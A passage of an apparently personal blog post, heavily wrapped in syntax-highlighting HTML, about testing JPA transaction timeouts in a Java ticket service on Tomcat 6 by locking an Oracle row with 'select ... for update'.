0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
logger</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">debug</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"The deadline of entityManager("</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> txObject</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getEntityManagerHolder</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">().</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getEntityManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">()</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"):"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> txObject</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getEntityManagerHolder</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">().</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getDeadline</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">()</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">", and current time:"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">+</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">new</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Date</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">System</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">currentTimeMillis</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">()));</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityTransaction</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> tx </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> txObject</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getEntityManagerHolder</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">().</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getEntityManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">()</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getTransaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">();</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
tx</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">commit</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">();</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">...</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">...</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span></code></span></pre>
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;">
</span></div>
<div>
Then I implemented a servlet to receive HTTP request and delete it to TicketService, and deploy it to tomcat6.</div>
<div>
<br /></div>
<div>
Before calling the ticket servcie by HTTP from a client, I have to emulate the situation of transction timeout, it is simple, open Oracle SQL Developer, connect to the same database, and execute a sql to lock the given row in table merchant(select * from merchant where merchant_id=111 for update).</div>
<div>
<br /></div>
<div>
Ok, it is time to run test....below is the debug output:</div>
<div>
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"></span><br />
<pre class="lang-java prettyprint" style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"><span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"><code style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; 